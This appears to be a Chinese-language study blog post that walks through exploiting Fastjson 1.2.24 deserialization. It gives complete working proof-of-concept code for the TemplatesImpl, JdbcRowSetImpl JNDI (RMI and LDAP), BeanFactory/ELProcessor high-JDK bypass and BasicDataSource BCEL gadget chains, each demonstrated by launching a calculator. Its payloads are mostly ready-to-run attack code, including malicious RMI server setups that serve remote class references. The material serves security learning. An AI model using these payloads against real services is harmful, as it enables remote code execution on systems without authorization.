环境
- 1.2.22 <= Fastjson <= 1.2.24
依赖
XML
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>4.0.9</version> </dependency> <dependency> <groupId>commons-io</groupId> <artifactId>commons-io</artifactId> <version>2.5</version> </dependency> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency> <dependency> <groupId>commons-codec</groupId> <artifactId>commons-codec</artifactId> <version>1.12</version> </dependency>
|
基于 TemplatesImpl 的利用链
之前cc3就遇到这个TemplatesImpl的利用,就是字节码的加载,当时针对这个的链子是这样的
JAVA
1 2 3 4 5
| TemplatesImpl#getOutputProperties() ->TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
|
刚好这个getOutputProperties()
就是一个getter方法,之前CB1链子也提到过。再针对fastjson反序列化的特性,反序列化得到类之后会自动执行该类的构造函数,getter方法,setter方法,所以现在我们就控制要反序列化的对象是``TemplatesImpl`类就好
再看一次能被利用的getter和setter的要求
满足条件的setter:
- 非静态函数
- 返回类型为void或当前类
- 参数个数为1个
满足条件的getter:
- 非静态方法
- 无参数
- 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong
其实TemplatesImpl类也有别的getter函数会被调用,但是getOutputProperties()目前最符合我们的要求,它的返回值是Properties类型也继承自Map类
现在尝试写poc
JAVA
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import org.apache.commons.codec.binary.Base64; import org.apache.commons.io.IOUtils;
import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.IOException; import java.nio.file.Files; import java.nio.file.Paths;
public class Poc { public static String readClass(String cls){ ByteArrayOutputStream bos = new ByteArrayOutputStream(); try { IOUtils.copy(new FileInputStream(new File(cls)), bos); } catch (IOException e) { e.printStackTrace(); } return Base64.encodeBase64String(bos.toByteArray()); } public static void main(String[] args) throws IOException { ParserConfig config = new ParserConfig(); String evilPath = "/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"; String evilCode = readClass(evilPath); String evil_Class = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String jsonText = "{\"@type\":\"" + evil_Class + "\",\"_bytecodes\": [\""+evilCode+"\"],'_name':'flow','_tfactory':{},\"_outputProperties\":{ },"; System.out.println(jsonText); Object obj = JSON.parseObject(jsonText,Object.class, config, Feature.SupportNonPublicField); } }
|
注意到这里有个config,看了一下
ParserConfig
的作用
ParserConfig
控制反序列化时的关键行为,包含:
- 自动类型检测(
autoTypeSupport
):决定是否允许反序列化未明确声明的类。
- 白名单/黑名单:限制可反序列化的类。
- 自定义反序列化解析器:处理特定类的实例化方式。
若未显式传递ParserConfig
,Fastjson默认使用全局配置(ParserConfig.getGlobalInstance()
)。如果全局配置的autoTypeSupport
为false
(默认安全配置),则TemplatesImpl
若不在白名单会导致反序列化失败。
传递自定义的ParserConfig
则覆盖全局配置,使用新实例的独立配置。
这个总体不难理解,就先这样
基于 JdbcRowSetImpl 的利用链
这个JdbcRowSetImpl类的利用主要就是基于 Bean Property 类型的 JNDI 的利用方式。里面可以找到lookup方法,这个对应上了之前的jndi注入后面的部分

connect()
方法找出谁调用了,符合条件的就是setAutoCommit()
,所以我们要到时exp要设置autoCommit参数,也要设置datasource才能保证被正确地lookup到,这就是这个链的利用思路

JNDI+RMI
JAVA
1 2 3 4
| { "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true }
|
服务端
JAVA
1 2 3 4 5 6 7 8
| public class Poc { public static void main(String[] args) throws IOException, NamingException { InitialContext initialContext = new InitialContext(); Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("Calc","Calc","http://127.0.0.1:8000/"); initialContext.rebind("rmi://127.0.0.1:1099/calc", reference); } }
|
客户端
JAVA
1 2 3 4 5 6
| public class JdbcClient { public static void main(String[] args) { String jsonText = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/calc\", \"autoCommit\":true}"; Object obj = JSON.parse(jsonText); } }
|
成功弹出计算器
JNDI+LDAP
原理和之前差不多
这里我用工具起一个ldap服务器,再改一下客户端代码就好了
JAVA
1 2 3 4 5 6
| public class JdbcClient { public static void main(String[] args) { String jsonText = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1/HuoyZUQEBX/CommonsCollections6/Exec/eyJjbWQiOiJvcGVuIC1hIGNhbGN1bGF0b3IifQ==\", \"autoCommit\":true}"; Object obj = JSON.parse(jsonText); } }
|
JDK高版本绕过
如果要高版本绕过,依旧是选择本地恶意类加载就好,用到beanfactory即可
服务端代码
JAVA
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| import com.sun.jndi.rmi.registry.ReferenceWrapper; import org.apache.naming.ResourceRef;
import javax.naming.Reference; import javax.naming.StringRefAddr; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class Server { public static void main(String[] args) throws Exception { System.setProperty("java.rmi.server.hostname", "127.0.0.1"); Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef reference = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
reference.add(new StringRefAddr("forceString", "x=eval")); reference.add(new StringRefAddr("x", "Runtime.getRuntime().exec('open -a calculator')")); ReferenceWrapper wrapper = new ReferenceWrapper(reference); registry.bind("calc", wrapper);
System.out.println("RMI服务已启动,等待客户端连接..."); } }
|
基于BasicDataSouce的利用链
这个和tomcat相关,好处是可以不出网,用到本地的恶意类加载
tomcat有一个org.apache.bcel.util.ClassLoader
类,里面有defineClass实现类加载

要满足这段代码然后创建一个类名再到后面defineClass
JAVA
1 2 3
| if (class_name.indexOf("$$BCEL$$") >= 0) { clazz = this.createClass(class_name); }
|
所以现在先想办法调用loadClass()
,现在尝试直接调用
JAVA
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import org.apache.bcel.classfile.Utility; import org.apache.bcel.util.ClassLoader;
import java.io.File; import java.io.IOException; import java.nio.file.Files; import java.nio.file.Paths;
public class BasicPoc { public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
ClassLoader classLoader = new ClassLoader(); byte[] bytes = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class")); String code = Utility.encode(bytes,true); classLoader.loadClass("$$BCEL$$"+code).newInstance(); } }
|
是运行成功会弹计算器的
所以找到类BasicDataSource#createConnectionFactory()
方法

如果driverClassLoader
不为空就会forName加载driverClassName和driverClassLoader,forName底层也会调用loadClass,所以现在看这两个参数是不是可控的,如果可以就把driverClassLoader指定成org.apache.bcel.util.ClassLoader
,把driverClassName加载成恶意的字节码,从而实现恶意代码
当然是可控的,都有对应的setter

那现在就看有哪里调用createConnectionFactory()
方法,链子是
1 2 3
| BasicDataSource.getConnection() -> createDataSource().getConnection() ->this.createConnectionFactory()
|
先尝试直接调用
JAVA
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public class BasicPoc { public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, SQLException {
ClassLoader classLoader = new ClassLoader(); byte[] bytes = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class")); String code = Utility.encode(bytes,true);
BasicDataSource basicDataSource = new BasicDataSource(); basicDataSource.setDriverClassName("$$BCEL$$"+code); basicDataSource.setDriverClassLoader(classLoader); basicDataSource.getConnection(); } }
|
现在也是可以弹计算器
下面引入fastjson反序列化
JAVA
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public class BasicPoc { public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, SQLException {
ClassLoader classLoader = new ClassLoader(); byte[] bytes = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class")); String code = Utility.encode(bytes,true);
String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$"+ code + "\",\"driverClassLoader\":{\"@type\":\"org.apache.bcel.util.ClassLoader\"}}"; JSON.parseObject(s); } }
|
这里要用parseObject才可以,因为要用到getter方法,parseObject里面parse后有toJson才会调用到getter方法
这个链子大概就是这样。
参考
【fastjson反序列化漏洞2-1.2.24利用】https://www.bilibili.com/video/BV1pP411N726?vd_source=46e5237289ae6c1a3c7bcab6091e42a6
https://drun1baby.top/2022/08/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Fastjson%E7%AF%8702-Fastjson-1-2-24%E7%89%88%E6%9C%AC%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90
小结
前面讲到的利用还是套上了以前的知识,这次是用json字符串去触发反序列化,所以要先理解好前面的内容,相对来说结合jndi注入的利用链比较常见
v1.5.2